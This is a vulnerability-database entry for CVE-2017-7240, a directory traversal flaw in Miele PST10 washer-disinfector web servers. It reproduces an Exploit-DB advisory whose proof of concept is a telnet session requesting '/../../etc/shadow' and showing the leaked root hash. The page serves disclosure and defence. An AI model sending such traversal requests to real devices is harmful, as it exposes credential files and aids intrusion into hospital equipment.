CVE-2017-7240

high
Published 2017-03-24 ยท Modified 2026-05-13
CVSS v3
7.5
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

An issue was discovered on Miele Professional PST10 devices. The corresponding embedded webserver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack; therefore, an unauthenticated attacker may be able to exploit this issue to access sensitive information to aide in subsequent attacks. A Proof of Concept is GET /../../../../../../../../../../../../etc/shadow HTTP/1.1. This affects PG8527 devices 2.02 before 2.12, PG8527 devices 2.51 before 2.61, PG8527 devices 2.52 before 2.62, PG8527 devices 2.54 before 2.64, PG8528 devices 2.02 before 2.12, PG8528 devices 2.51 before 2.61, PG8528 devices 2.52 before 2.62, PG8528 devices 2.54 before 2.64, PG8535 devices 1.00 before 1.10, PG8535 devices 1.04 before 1.14, PG8536 devices 1.10 before 1.20, and PG8536 devices 1.14 before 1.24.

Predictions

Exploit likelihood
83%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41718 remote hardware text ยท 2 KB
Jens Regel ยท 2017-03-24

Miele Professional PG 8528 - Directory Traversal

text exploit Source: Exploit-DB
Title:
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Miele Professional PG 8528 - Web Server Directory Traversal

Author:
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Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
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CVE-2017-7240

Risk Information:
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Risk Factor: Medium
CVSS Base Score: 5.0
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS Temporal Vector: CVSS2#E:POC/RL:OF/RC:C
CVSS Temporal Score: 3.9

Timeline:
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2016-11-16 Vulnerability discovered
2016-11-10 Asked for security contact
2016-11-21 Contact with Miele product representative
2016-12-03 Send details to the Miele product representative
2017-01-19 Asked for update, no response
2017-02-03 Asked for update, no response
2017-03-23 Public disclosure

Status:
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Published

Affected Products:
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Miele Professional PG 8528 (washer-disinfector) with ethernet interface.

Vendor Homepage:
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https://www.miele.co.uk/professional/large-capacity-washer-disinfectors-560.htm?mat=10339600&name=PG_8528

Details:
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The corresponding embeded webserver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack, therefore an unauthenticated attacker may be able to exploit this issue to access sensitive information to aide in subsequent attacks.

Proof of Concept:
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~$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character ist '^]'.
GET /../../../../../../../../../../../../etc/shadow HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 16 Nov 2016 11:58:50 GMT
Server: PST10 WebServer
Content-Type: application/octet-stream
Last-Modified: Fri, 22 Feb 2013 10:04:40 GMT
Content-disposition: attachment; filename="./etc/shadow"
Accept-Ranges: bytes
Content-Length: 52

root:$1$$Md0i[...snip...]Z001:10933:0:99999:7:::

Fix:
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We are not aware of an actual fix.

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.